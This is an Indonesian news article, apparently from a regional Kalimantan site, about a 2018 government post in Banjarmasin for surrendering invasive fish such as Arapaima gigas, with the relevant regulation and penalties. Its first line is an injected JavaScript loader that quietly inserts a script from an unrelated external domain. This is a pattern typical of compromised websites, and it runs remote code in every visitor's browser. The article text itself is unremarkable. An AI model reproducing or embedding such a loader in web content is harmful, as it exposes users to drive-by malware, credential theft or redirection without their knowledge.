(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Kementrian Kelautan dan Perikanan melalui Balai KIPM Banjarmasin mendirikan posko penyerahan ikan berbahaya dan invasif di wilayah Kalimantan Selatan. Posko tersebut dibuka sejak tanggal 1-31Juli 2018.
Upaya tersebut dilakukan mengantisipasi kasus di Sungai Brantas, Jawa Timur, beberapa waktu lalu dengan seorang pengusaha yang melepasliarkan ikan jenis Arapaima Gigas. Padahal ikan tersebut bisa memangsa jenis ikan lokal yang menyebabkan kerugian masyarakat. Selain itu, langkah tersebut juga rangka pengendalian IAS (Invasive Alien Species) serta implementasi dari Peraturan Menteri Kelautan dan Perikanan Nomor 41/PERMEN-KP/2014.
Menurut Kepala BKIPM Banjarmasin Sokhib, posko tersebut merupakan wujud respon cepat BKIPM setelah sebelumnya ada kasus pelepasan ikan Arapaima Gigas di perairan Sungai Brantas.
“Tindakan ini dapat merusak ekosistem maupun keberlangsungan hidup ikan jenis lain, di perairan air tawar tempat ikan tersebut dilepas,” jelasnya.
Untuk diketahui, Berdasarkan Permen Kelautan dan Perikanan 41/PERMEN-KP/2014 terdapat 152 jenis ikan berbahaya dan invasif, di antaranya adalah ikan Arapaima Gigas, Aligator, Piranha dan Sapu-sapu. Ikan-ikan tersebut boleh dipelihara hanya untuk keperluan penelitian dan edukasi dan harus seizin dari pihak yang berwenang. Demikian dilansir Tribunnews.com.
Sebelum mendirikan Posko penyerahan ikan berbahaya dan invasif yang berlangsung sejak 1-31 juli 2018 ini, BKIPM Banjarmasin telah melakukan sosialisasi terlebih dahulu kepada seluruh dinas perikanan di wilayah Kalimantan Selatan serta masyarakat.
Kegiatan inipun disambut baik oleh para pecinta dan penghobi ikan. “Kami telah melakukan sosialissi terkait hal ini, diharapkan selama posko berlangsung masyarakat yang mempunyai ikan golongan berbahaya dan invasif dapat menyerahkannya secara sukarela kepada Balai KIPM Banjarmasin, dan tidak akan diberikan sanksi apapun.”
“Akan tetapi, apabila sampai batas waktu yang ditentukan masyarakat tidak menghiraukan himbauan ini maka kami akan tindak tegas sesuai dengan aturan yang berlaku” papar Sokhib.
Mengenai sanksi hukum yang akan diberlakukan apabila terbukti dengan sengaja melakukan kegiatan pembudidayaan (termasuk memelihara, mengembangbiakkan). Serta memanen hasilnya dalam lingkungan terkontrol hingga termasuk pada kegiatan memuat, mengangkut, menyimpan, mendinginkan, mengolah dan atau mengawetkannya), pelaku akan dijerat UU NO.45 TH.2009 Dengan ancaman pidana 6 tahun penjara dan denda maksimal Rp 1,5 miliar.(cel/trb)
KANALKALIMANTAN.COM, BANJARBARU - Para pencari kerja di Ibu Kota Provinsi Kalimantan Selatan diminta untuk mempersiapkan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus tindak pidana korupsi kembali mengemuka di Provinsi Kalimantan Selatan (Kalsel). Kali… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
This website uses cookies.